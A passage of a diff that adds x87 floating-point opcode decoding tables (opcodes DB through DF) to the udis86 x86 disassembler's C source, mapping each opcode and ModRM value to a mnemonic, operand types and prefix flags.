UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_db__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DB__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DB__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_db__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifild, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifisttp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ifist, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ifistp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Ifld, O_Mt, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Ifstp, O_Mt, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_db__mod__op_01__x87[64] = { + /* 00 */ { UD_Ifcmovnb, O_ST0, O_ST0, O_NONE, P_none }, + /* 01 */ { UD_Ifcmovnb, O_ST0, O_ST1, O_NONE, P_none }, + /* 02 */ { UD_Ifcmovnb, O_ST0, O_ST2, O_NONE, P_none }, + /* 03 */ { UD_Ifcmovnb, O_ST0, O_ST3, O_NONE, P_none }, + /* 04 */ { UD_Ifcmovnb, O_ST0, O_ST4, O_NONE, P_none }, + /* 05 */ { UD_Ifcmovnb, O_ST0, O_ST5, O_NONE, P_none }, + /* 06 */ { UD_Ifcmovnb, O_ST0, O_ST6, O_NONE, P_none }, + /* 07 */ { UD_Ifcmovnb, O_ST0, O_ST7, O_NONE, P_none }, + /* 08 */ { UD_Ifcmovne, O_ST0, O_ST0, O_NONE, P_none }, + /* 09 */ { UD_Ifcmovne, O_ST0, O_ST1, O_NONE, P_none }, + /* 0A */ { UD_Ifcmovne, O_ST0, O_ST2, O_NONE, P_none }, + /* 0B */ { UD_Ifcmovne, O_ST0, O_ST3, O_NONE, P_none }, + /* 0C */ { UD_Ifcmovne, O_ST0, O_ST4, O_NONE, P_none }, + /* 0D */ { UD_Ifcmovne, O_ST0, O_ST5, O_NONE, P_none }, + /* 0E */ { UD_Ifcmovne, O_ST0, O_ST6, O_NONE, P_none }, + /* 0F */ { UD_Ifcmovne, O_ST0, O_ST7, O_NONE, P_none }, + /* 10 */ { UD_Ifcmovnbe, O_ST0, O_ST0, O_NONE, P_none }, + /* 11 */ { UD_Ifcmovnbe, O_ST0, O_ST1, O_NONE, P_none }, + /* 12 */ { UD_Ifcmovnbe, O_ST0, O_ST2, O_NONE, P_none }, + /* 13 */ { UD_Ifcmovnbe, O_ST0, O_ST3, O_NONE, P_none }, + /* 14 */ { UD_Ifcmovnbe, O_ST0, O_ST4, O_NONE, P_none }, + /* 15 */ { UD_Ifcmovnbe, O_ST0, O_ST5, O_NONE, P_none }, + /* 16 */ { UD_Ifcmovnbe, O_ST0, O_ST6, O_NONE, P_none }, + /* 17 */ { UD_Ifcmovnbe, O_ST0, O_ST7, O_NONE, P_none }, + /* 18 */ { UD_Ifcmovnu, O_ST0, O_ST0, O_NONE, P_none }, + /* 19 */ { UD_Ifcmovnu, O_ST0, O_ST1, O_NONE, P_none }, + /* 1A */ { UD_Ifcmovnu, O_ST0, O_ST2, O_NONE, P_none }, + /* 1B */ { UD_Ifcmovnu, O_ST0, O_ST3, O_NONE, P_none }, + /* 1C */ { UD_Ifcmovnu, O_ST0, O_ST4, O_NONE, P_none }, + /* 1D */ { UD_Ifcmovnu, O_ST0, O_ST5, O_NONE, P_none }, + /* 1E */ { UD_Ifcmovnu, O_ST0, O_ST6, O_NONE, P_none }, + /* 1F */ { UD_Ifcmovnu, O_ST0, O_ST7, O_NONE, P_none }, + /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Ifclex, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Ifninit, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Ifucomi, O_ST0, O_ST0, O_NONE, P_none }, + /* 29 */ { UD_Ifucomi, O_ST0, O_ST1, O_NONE, P_none }, + /* 2A */ { UD_Ifucomi, O_ST0, O_ST2, O_NONE, P_none }, + /* 2B */ { UD_Ifucomi, O_ST0, O_ST3, O_NONE, P_none }, + /* 2C */ { UD_Ifucomi, O_ST0, O_ST4, O_NONE, P_none }, + /* 2D */ { UD_Ifucomi, O_ST0, O_ST5, O_NONE, P_none }, + /* 2E */ { UD_Ifucomi, O_ST0, O_ST6, O_NONE, P_none }, + /* 2F */ { UD_Ifucomi, O_ST0, O_ST7, O_NONE, P_none }, + /* 30 */ { UD_Ifcomi, O_ST0, O_ST0, O_NONE, P_none }, + /* 31 */ { UD_Ifcomi, O_ST0, O_ST1, O_NONE, P_none }, + /* 32 */ { UD_Ifcomi, O_ST0, O_ST2, O_NONE, P_none }, + /* 33 */ { UD_Ifcomi, O_ST0, O_ST3, O_NONE, P_none }, + /* 34 */ { UD_Ifcomi, O_ST0, O_ST4, O_NONE, P_none }, + /* 35 */ { UD_Ifcomi, O_ST0, O_ST5, O_NONE, P_none }, + /* 36 */ { UD_Ifcomi, O_ST0, O_ST6, O_NONE, P_none }, + /* 37 */ { UD_Ifcomi, O_ST0, O_ST7, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_dc__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DC__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DC__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_dc__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifadd, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifmul, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ifcom, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ifcomp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ifsub, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ifsubr, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ifdiv, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ifdivr, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_dc__mod__op_01__x87[64] = { + /* 00 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, P_none }, + /* 01 */ { UD_Ifadd, O_ST1, O_ST0, O_NONE, P_none }, + /* 02 */ { UD_Ifadd, O_ST2, O_ST0, O_NONE, P_none }, + /* 03 */ { UD_Ifadd, O_ST3, O_ST0, O_NONE, P_none }, + /* 04 */ { UD_Ifadd, O_ST4, O_ST0, O_NONE, P_none }, + /* 05 */ { UD_Ifadd, O_ST5, O_ST0, O_NONE, P_none }, + /* 06 */ { UD_Ifadd, O_ST6, O_ST0, O_NONE, P_none }, + /* 07 */ { UD_Ifadd, O_ST7, O_ST0, O_NONE, P_none }, + /* 08 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, P_none }, + /* 09 */ { UD_Ifmul, O_ST1, O_ST0, O_NONE, P_none }, + /* 0A */ { UD_Ifmul, O_ST2, O_ST0, O_NONE, P_none }, + /* 0B */ { UD_Ifmul, O_ST3, O_ST0, O_NONE, P_none }, + /* 0C */ { UD_Ifmul, O_ST4, O_ST0, O_NONE, P_none }, + /* 0D */ { UD_Ifmul, O_ST5, O_ST0, O_NONE, P_none }, + /* 0E */ { UD_Ifmul, O_ST6, O_ST0, O_NONE, P_none }, + /* 0F */ { UD_Ifmul, O_ST7, O_ST0, O_NONE, P_none }, + /* 10 */ { UD_Ifcom2, O_ST0, O_NONE, O_NONE, P_none }, + /* 11 */ { UD_Ifcom2, O_ST1, O_NONE, O_NONE, P_none }, + /* 12 */ { UD_Ifcom2, O_ST2, O_NONE, O_NONE, P_none }, + /* 13 */ { UD_Ifcom2, O_ST3, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Ifcom2, O_ST4, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Ifcom2, O_ST5, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Ifcom2, O_ST6, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Ifcom2, O_ST7, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Ifcomp3, O_ST0, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Ifcomp3, O_ST1, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Ifcomp3, O_ST2, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Ifcomp3, O_ST3, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Ifcomp3, O_ST4, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Ifcomp3, O_ST5, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Ifcomp3, O_ST6, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Ifcomp3, O_ST7, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, P_none }, + /* 21 */ { UD_Ifsubr, O_ST1, O_ST0, O_NONE, P_none }, + /* 22 */ { UD_Ifsubr, O_ST2, O_ST0, O_NONE, P_none }, + /* 23 */ { UD_Ifsubr, O_ST3, O_ST0, O_NONE, P_none }, + /* 24 */ { UD_Ifsubr, O_ST4, O_ST0, O_NONE, P_none }, + /* 25 */ { UD_Ifsubr, O_ST5, O_ST0, O_NONE, P_none }, + /* 26 */ { UD_Ifsubr, O_ST6, O_ST0, O_NONE, P_none }, + /* 27 */ { UD_Ifsubr, O_ST7, O_ST0, O_NONE, P_none }, + /* 28 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, P_none }, + /* 29 */ { UD_Ifsub, O_ST1, O_ST0, O_NONE, P_none }, + /* 2A */ { UD_Ifsub, O_ST2, O_ST0, O_NONE, P_none }, + /* 2B */ { UD_Ifsub, O_ST3, O_ST0, O_NONE, P_none }, + /* 2C */ { UD_Ifsub, O_ST4, O_ST0, O_NONE, P_none }, + /* 2D */ { UD_Ifsub, O_ST5, O_ST0, O_NONE, P_none }, + /* 2E */ { UD_Ifsub, O_ST6, O_ST0, O_NONE, P_none }, + /* 2F */ { UD_Ifsub, O_ST7, O_ST0, O_NONE, P_none }, + /* 30 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, P_none }, + /* 31 */ { UD_Ifdivr, O_ST1, O_ST0, O_NONE, P_none }, + /* 32 */ { UD_Ifdivr, O_ST2, O_ST0, O_NONE, P_none }, + /* 33 */ { UD_Ifdivr, O_ST3, O_ST0, O_NONE, P_none }, + /* 34 */ { UD_Ifdivr, O_ST4, O_ST0, O_NONE, P_none }, + /* 35 */ { UD_Ifdivr, O_ST5, O_ST0, O_NONE, P_none }, + /* 36 */ { UD_Ifdivr, O_ST6, O_ST0, O_NONE, P_none }, + /* 37 */ { UD_Ifdivr, O_ST7, O_ST0, O_NONE, P_none }, + /* 38 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, P_none }, + /* 39 */ { UD_Ifdiv, O_ST1, O_ST0, O_NONE, P_none }, + /* 3A */ { UD_Ifdiv, O_ST2, O_ST0, O_NONE, P_none }, + /* 3B */ { UD_Ifdiv, O_ST3, O_ST0, O_NONE, P_none }, + /* 3C */ { UD_Ifdiv, O_ST4, O_ST0, O_NONE, P_none }, + /* 3D */ { UD_Ifdiv, O_ST5, O_ST0, O_NONE, P_none }, + /* 3E */ { UD_Ifdiv, O_ST6, O_ST0, O_NONE, P_none }, + /* 3F */ { UD_Ifdiv, O_ST7, O_ST0, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_dd__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DD__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DD__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_dd__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifld, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifisttp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ifst, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ifstp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ifrstor, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Ifnsave, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ifnstsw, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_dd__mod__op_01__x87[64] = { + /* 00 */ { UD_Iffree, O_ST0, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iffree, O_ST1, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iffree, O_ST2, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iffree, O_ST3, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iffree, O_ST4, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iffree, O_ST5, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iffree, O_ST6, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iffree, O_ST7, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Ifxch4, O_ST0, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Ifxch4, O_ST1, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Ifxch4, O_ST2, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Ifxch4, O_ST3, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Ifxch4, O_ST4, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Ifxch4, O_ST5, O_NONE, O_NONE, P_none }, + /* 0E */ { UD_Ifxch4, O_ST6, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Ifxch4, O_ST7, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Ifst, O_ST0, O_NONE, O_NONE, P_none }, + /* 11 */ { UD_Ifst, O_ST1, O_NONE, O_NONE, P_none }, + /* 12 */ { UD_Ifst, O_ST2, O_NONE, O_NONE, P_none }, + /* 13 */ { UD_Ifst, O_ST3, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Ifst, O_ST4, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Ifst, O_ST5, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Ifst, O_ST6, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Ifst, O_ST7, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Ifstp, O_ST0, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Ifstp, O_ST1, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Ifstp, O_ST2, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Ifstp, O_ST3, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Ifstp, O_ST4, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Ifstp, O_ST5, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Ifstp, O_ST6, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Ifstp, O_ST7, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Ifucom, O_ST0, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Ifucom, O_ST1, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Ifucom, O_ST2, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Ifucom, O_ST3, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Ifucom, O_ST4, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Ifucom, O_ST5, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Ifucom, O_ST6, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Ifucom, O_ST7, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Ifucomp, O_ST0, O_NONE, O_NONE, P_none }, + /* 29 */ { UD_Ifucomp, O_ST1, O_NONE, O_NONE, P_none }, + /* 2A */ { UD_Ifucomp, O_ST2, O_NONE, O_NONE, P_none }, + /* 2B */ { UD_Ifucomp, O_ST3, O_NONE, O_NONE, P_none }, + /* 2C */ { UD_Ifucomp, O_ST4, O_NONE, O_NONE, P_none }, + /* 2D */ { UD_Ifucomp, O_ST5, O_NONE, O_NONE, P_none }, + /* 2E */ { UD_Ifucomp, O_ST6, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Ifucomp, O_ST7, O_NONE, O_NONE, P_none }, + /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_de__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DE__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DE__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_de__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifiadd, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifimul, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ificom, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ificomp, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ifisub, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ifisubr, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ifidiv, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ifidivr, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_de__mod__op_01__x87[64] = { + /* 00 */ { UD_Ifaddp, O_ST0, O_ST0, O_NONE, P_none }, + /* 01 */ { UD_Ifaddp, O_ST1, O_ST0, O_NONE, P_none }, + /* 02 */ { UD_Ifaddp, O_ST2, O_ST0, O_NONE, P_none }, + /* 03 */ { UD_Ifaddp, O_ST3, O_ST0, O_NONE, P_none }, + /* 04 */ { UD_Ifaddp, O_ST4, O_ST0, O_NONE, P_none }, + /* 05 */ { UD_Ifaddp, O_ST5, O_ST0, O_NONE, P_none }, + /* 06 */ { UD_Ifaddp, O_ST6, O_ST0, O_NONE, P_none }, + /* 07 */ { UD_Ifaddp, O_ST7, O_ST0, O_NONE, P_none }, + /* 08 */ { UD_Ifmulp, O_ST0, O_ST0, O_NONE, P_none }, + /* 09 */ { UD_Ifmulp, O_ST1, O_ST0, O_NONE, P_none }, + /* 0A */ { UD_Ifmulp, O_ST2, O_ST0, O_NONE, P_none }, + /* 0B */ { UD_Ifmulp, O_ST3, O_ST0, O_NONE, P_none }, + /* 0C */ { UD_Ifmulp, O_ST4, O_ST0, O_NONE, P_none }, + /* 0D */ { UD_Ifmulp, O_ST5, O_ST0, O_NONE, P_none }, + /* 0E */ { UD_Ifmulp, O_ST6, O_ST0, O_NONE, P_none }, + /* 0F */ { UD_Ifmulp, O_ST7, O_ST0, O_NONE, P_none }, + /* 10 */ { UD_Ifcomp5, O_ST0, O_NONE, O_NONE, P_none }, + /* 11 */ { UD_Ifcomp5, O_ST1, O_NONE, O_NONE, P_none }, + /* 12 */ { UD_Ifcomp5, O_ST2, O_NONE, O_NONE, P_none }, + /* 13 */ { UD_Ifcomp5, O_ST3, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Ifcomp5, O_ST4, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Ifcomp5, O_ST5, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Ifcomp5, O_ST6, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Ifcomp5, O_ST7, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Ifcompp, O_NONE, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Ifsubrp, O_ST0, O_ST0, O_NONE, P_none }, + /* 21 */ { UD_Ifsubrp, O_ST1, O_ST0, O_NONE, P_none }, + /* 22 */ { UD_Ifsubrp, O_ST2, O_ST0, O_NONE, P_none }, + /* 23 */ { UD_Ifsubrp, O_ST3, O_ST0, O_NONE, P_none }, + /* 24 */ { UD_Ifsubrp, O_ST4, O_ST0, O_NONE, P_none }, + /* 25 */ { UD_Ifsubrp, O_ST5, O_ST0, O_NONE, P_none }, + /* 26 */ { UD_Ifsubrp, O_ST6, O_ST0, O_NONE, P_none }, + /* 27 */ { UD_Ifsubrp, O_ST7, O_ST0, O_NONE, P_none }, + /* 28 */ { UD_Ifsubp, O_ST0, O_ST0, O_NONE, P_none }, + /* 29 */ { UD_Ifsubp, O_ST1, O_ST0, O_NONE, P_none }, + /* 2A */ { UD_Ifsubp, O_ST2, O_ST0, O_NONE, P_none }, + /* 2B */ { UD_Ifsubp, O_ST3, O_ST0, O_NONE, P_none }, + /* 2C */ { UD_Ifsubp, O_ST4, O_ST0, O_NONE, P_none }, + /* 2D */ { UD_Ifsubp, O_ST5, O_ST0, O_NONE, P_none }, + /* 2E */ { UD_Ifsubp, O_ST6, O_ST0, O_NONE, P_none }, + /* 2F */ { UD_Ifsubp, O_ST7, O_ST0, O_NONE, P_none }, + /* 30 */ { UD_Ifdivrp, O_ST0, O_ST0, O_NONE, P_none }, + /* 31 */ { UD_Ifdivrp, O_ST1, O_ST0, O_NONE, P_none }, + /* 32 */ { UD_Ifdivrp, O_ST2, O_ST0, O_NONE, P_none }, + /* 33 */ { UD_Ifdivrp, O_ST3, O_ST0, O_NONE, P_none }, + /* 34 */ { UD_Ifdivrp, O_ST4, O_ST0, O_NONE, P_none }, + /* 35 */ { UD_Ifdivrp, O_ST5, O_ST0, O_NONE, P_none }, + /* 36 */ { UD_Ifdivrp, O_ST6, O_ST0, O_NONE, P_none }, + /* 37 */ { UD_Ifdivrp, O_ST7, O_ST0, O_NONE, P_none }, + /* 38 */ { UD_Ifdivp, O_ST0, O_ST0, O_NONE, P_none }, + /* 39 */ { UD_Ifdivp, O_ST1, O_ST0, O_NONE, P_none }, + /* 3A */ { UD_Ifdivp, O_ST2, O_ST0, O_NONE, P_none }, + /* 3B */ { UD_Ifdivp, O_ST3, O_ST0, O_NONE, P_none }, + /* 3C */ { UD_Ifdivp, O_ST4, O_ST0, O_NONE, P_none }, + /* 3D */ { UD_Ifdivp, O_ST5, O_ST0, O_NONE, P_none }, + /* 3E */ { UD_Ifdivp, O_ST6, O_ST0, O_NONE, P_none }, + /* 3F */ { UD_Ifdivp, O_ST7, O_ST0, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_df__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DF__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DF__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_df__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifild, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifisttp, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ifist, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ifistp, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ifbld, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ifild, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ifbstp, O_Mt, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ifistp, O_Mq, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry 